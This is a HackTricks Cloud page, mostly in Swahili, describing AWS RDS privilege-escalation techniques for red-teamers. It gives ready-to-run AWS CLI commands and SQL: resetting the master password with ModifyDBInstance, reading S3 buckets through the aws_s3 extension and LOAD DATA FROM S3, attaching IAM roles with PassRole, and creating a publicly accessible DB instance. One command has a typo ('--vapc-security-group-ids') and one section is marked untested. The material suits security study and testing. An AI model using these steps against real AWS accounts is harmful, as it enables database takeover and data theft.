AWS - RDS Privesc
Reading time: 6 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
RDS - Huduma ya Hifadhidata ya Uhusiano
Kwa maelezo zaidi kuhusu RDS angalia:
AWS - Relational Database (RDS) Enum
rds:ModifyDBInstance
Kwa ruhusa hiyo mshambuliaji anaweza kubadilisha nenosiri la mtumiaji mkuu, na kuingia ndani ya hifadhidata:
# Get the DB username, db name and address
aws rds describe-db-instances
# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
warning
Utahitaji kuwa na uwezo wa kuwasiliana na hifadhidata (zinapatikana kwa kawaida tu kutoka ndani ya mitandao).
Athari Zinazoweza Kutokea: Pata taarifa nyeti ndani ya hifadhidata.
rds-db:connect
Kulingana na docs mtumiaji mwenye ruhusa hii anaweza kuungana na mfano wa DB.
Tumia Ruhusa za RDS Role IAM
Postgresql (Aurora)
tip
Ikiwa unakimbia SELECT datname FROM pg_database;
unapata hifadhidata inayoitwa rdsadmin
unajua uko ndani ya hifadhidata ya AWS postgresql.
Kwanza unaweza kuangalia kama hifadhidata hii imetumika kufikia huduma nyingine yoyote ya AWS. Unaweza kuangalia hii kwa kutazama nyongeza zilizowekwa:
SELECT * FROM pg_extension;
Ikiwa unapata kitu kama aws_s3
unaweza kudhani kuwa hifadhidata hii ina aina fulani ya ufikiaji juu ya S3 (kuna nyongeza nyingine kama aws_ml
na aws_lambda
).
Pia, ikiwa una ruhusa ya kukimbia aws rds describe-db-clusters
unaweza kuona huko ikiwa klasta ina IAM Role yoyote iliyoambatanishwa katika uwanja AssociatedRoles
. Ikiwa ipo, unaweza kudhani kuwa hifadhidata ilikuwa imeandaliwa kufikia huduma nyingine za AWS. Kulingana na jina la jukumu (au ikiwa unaweza kupata ruhusa za jukumu) unaweza kukisia ni ufikiaji gani wa ziada hifadhidata ina.
Sasa, ili kusoma faili ndani ya bakuli unahitaji kujua njia kamili. Unaweza kuisoma kwa:
// Create table
CREATE TABLE ttemp (col TEXT);
// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv', // Name of the file
'eu-west-1' //region of the bucket
) AS s3_uri \gset
// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
// Get info
SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
Ikiwa ungekuwa na akidi za AWS za msingi unaweza pia kuzitumia kufikia data za S3 kwa:
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
note
Postgresql haitaji kubadilisha chochote katika parameter group variable ili kuweza kufikia S3.
Mysql (Aurora)
tip
Ndani ya mysql, ukikimbia query SELECT User, Host FROM mysql.user;
na kuna mtumiaji anayeitwa rdsadmin
, unaweza kudhani uko ndani ya AWS RDS mysql db.
Ndani ya mysql kimbia show variables;
na ikiwa variables kama aws_default_s3_role
, aurora_load_from_s3_role
, aurora_select_into_s3_role
, zina thamani, unaweza kudhani database imeandaliwa kufikia data za S3.
Pia, ikiwa una ruhusa ya kukimbia aws rds describe-db-clusters
unaweza kuangalia ikiwa cluster ina associated role, ambayo kwa kawaida inamaanisha ufikiaji wa huduma za AWS).
Sasa, ili kusoma faili ndani ya bucket unahitaji kujua njia kamili. Unaweza kuisoma kwa:
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
rds:AddRoleToDBCluster
, iam:PassRole
Mshambuliaji mwenye ruhusa rds:AddRoleToDBCluster
na iam:PassRole
anaweza kuongeza jukumu lililobainishwa kwenye mfano wa RDS uliopo. Hii inaweza kumwezesha mshambuliaji kupata data nyeti au kubadilisha data ndani ya mfano.
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
Madhara Yanayoweza Kutokea: Ufikiaji wa data nyeti au mabadiliko yasiyoidhinishwa kwenye data katika RDS instance.
Kumbuka kwamba baadhi ya DB zinahitaji mipangilio ya ziada kama Mysql, ambayo inahitaji kubainisha ARN ya jukumu katika vikundi vya aprameter pia.
rds:CreateDBInstance
Kwa ruhusa hii tu, mshambuliaji anaweza kuunda instance mpya ndani ya klasta ambayo tayari ipo na ina IAM role iliyounganishwa. Hataweza kubadilisha nenosiri la mtumiaji mkuu, lakini anaweza kuwa na uwezo wa kufichua instance mpya ya database kwa mtandao:
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
rds:CreateDBInstance
, iam:PassRole
note
TODO: Test
Mshambuliaji mwenye ruhusa rds:CreateDBInstance
na iam:PassRole
anaweza kuunda mfano mpya wa RDS ukiwa na jukumu lililowekwa. Mshambuliaji anaweza kisha kufikia data nyeti au kubadilisha data ndani ya mfano huo.
warning
Baadhi ya mahitaji ya jukumu/profili ya mfano ili kuunganisha (kutoka hapa):
- Profaili lazima iwepo katika akaunti yako.
- Profaili lazima iwe na jukumu la IAM ambalo Amazon EC2 ina ruhusa ya kulichukua.
- Jina la profaili ya mfano na jina la jukumu la IAM lililohusishwa lazima ianze na kiambishi
AWSRDSCustom
.
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
Athari Inayoweza Kutokea: Ufikiaji wa data nyeti au mabadiliko yasiyoidhinishwa kwenye data katika RDS instance.
rds:AddRoleToDBInstance
, iam:PassRole
Mshambuliaji mwenye ruhusa rds:AddRoleToDBInstance
na iam:PassRole
anaweza kuongeza jukumu lililotajwa kwenye RDS instance iliyopo. Hii inaweza kumwezesha mshambuliaji kufikia data nyeti au kubadilisha data ndani ya instance hiyo.
warning
DB instance lazima iwe nje ya klasta kwa hili
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
Madhara Yanayoweza Kutokea: Ufikiaji wa data nyeti au mabadiliko yasiyoidhinishwa kwenye data katika RDS instance.
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.